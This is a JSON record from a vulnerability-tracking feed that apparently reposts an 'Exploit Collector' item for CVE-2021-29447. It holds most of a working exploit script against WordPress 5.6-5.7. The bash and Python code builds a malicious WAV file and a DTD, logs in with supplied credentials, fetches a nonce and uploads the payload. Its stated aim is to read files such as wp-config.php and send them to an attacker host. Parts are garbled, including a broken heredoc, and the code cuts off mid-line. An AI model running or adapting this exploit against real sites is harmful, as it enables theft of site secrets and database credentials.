{"uuid": "4b1206b3-a87b-48d0-8e06-8e243d7ec566", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2021-29447", "type": "seen", "source": "https://t.me/hacking_Attack/24276", "content": "Exploit Collector\nWordPress 5.7 Media Library XML Injection\n\n\nhttps://1.bp.blogspot.com/-5_4vnaEHtE4/WWlvOudg9oI/AAAAAAAAIMs/tPLG-GePmxgLMlPyiIuDfO-2MFfOtdhKQCLcBGAs/s1600/h26.png \nWordPress version 5.7 suffers from a Media Library XML external entity injection vulnerability.\n\nMD5 | 285ded5933c9cbe2e0d8eae674b16808\n\nDownload\n# Exploit Title: WordPress 5.7 - 'Media Library' XML External Entity Injection (XXE) (Authenticated)\n# Date: 16/09/2021\n# Exploit Author: David Ut\u00f3n (M3n0sD0n4ld)\n# Vendor Homepage: https://wordpress.com\n# Affected Version: WordPress 5.6-5.7 & PHP8\n# Tested on: Linux Ubuntu 18.04.5 LTS\n# CVE : CVE-2021-29447\n\n#!/bin/bash\n\n# Author: @David_Uton (m3n0sd0n4ld)\n# Usage: $./CVE-2021-29447.sh TARGET WP_USERNAME WP_PASSWORD PATH/FILE.EXT LHOST\n# Example: $ ./CVE-2021-29447.sh 10.10.XX.XX wptest test ../wp-config.php 10.11.XX.XX\n# Variables\nrHost=$1\nusername=$2\npassword=$3\nreadFile=$4\nlHost=$5\n\n# Functions\n# Logotype\nlogoType(){\necho \"\n=====================================\nCVE-2021-29447 - WordPress 5.6-5.7 - XXE & SSRF Within the Media Library (Authenticated)\n-------------------------------------\n@David_Uton (M3n0sD0n4ld)\nhttps://m3n0sd0n4ld.github.io/\n=====================================\"\n}\n\n# Create wav malicious\nwavCreate(){\necho -en \"RIFF\\xb8\\x00\\x00\\x00WAVEiXML\\x7b\\x00\\x00\\x00\\x00\" > payload.wav && echo \"[+] Create payload.wav\"\n}\n\n# Create xx3.dtd\ndtdCreate(){\ncat \nEOT\n}\n\n# wav upload\nwavUpload(){\ncat <eot.upload.py\n#/usr/bin/env python3\n\nimport requests, re, sys\n\npostData = {\n'log':\"$username\",\n'pwd':\"$password\",\n'wp-submit':'Log In',\n'redirect_to':'http://$rHost/wp-admin/',\n'testcookie':1\n}\n\nr = requests.post('http://$rHost/wp-login.php',data=postData, verify=False) # SSL == verify=True\n\ncookies = r.cookies\n\nprint(\"[+] Getting Wp Nonce ... \")\n\nres = requests.get('http://$rHost/wp-admin/media-new.php',cookies=cookies)\nwp_nonce_list = re.findall(r'name=\"_wpnonce\" value=\"(\\w+)\"',res.text)\n\nif len(wp_nonce_list) == 0 :\nprint(\"[-] Failed to retrieve the _wpnonce\")\nexit(0)\nelse :\nwp_nonce = wp_nonce_list[0]\nprint(\"[+] Wp Nonce retrieved successfully ! _wpnonce : \" + wp_nonce)\n\nprint(\"[+] Uploading the wav file ... \")\n\npostData = {\n'name': 'payload.wav',\n'action': 'upload-attachment',\n'_wpnonce': wp_nonce\n}\n\nwav = {'async-upload': ('payload.wav', open('payload.wav', 'rb'))}\nr_upload = requests.post('http://$rHost/wp-admin/async-upload.php', data=postData, files=wav, cookies=cookies)\nif r_upload.status_code == 200:\nimage_id = re.findall(r'{\"id\":(\\d+),',r_upload.text)[0]\n_wp_nonce=re.findall(r'\"update\":\"(\\w+)\"',r_upload.text)[0]\nprint('[+] Wav uploaded successfully')\nelse : \np[...]", "creation_timestamp": "2026-09-01T20:02:22.225834Z"}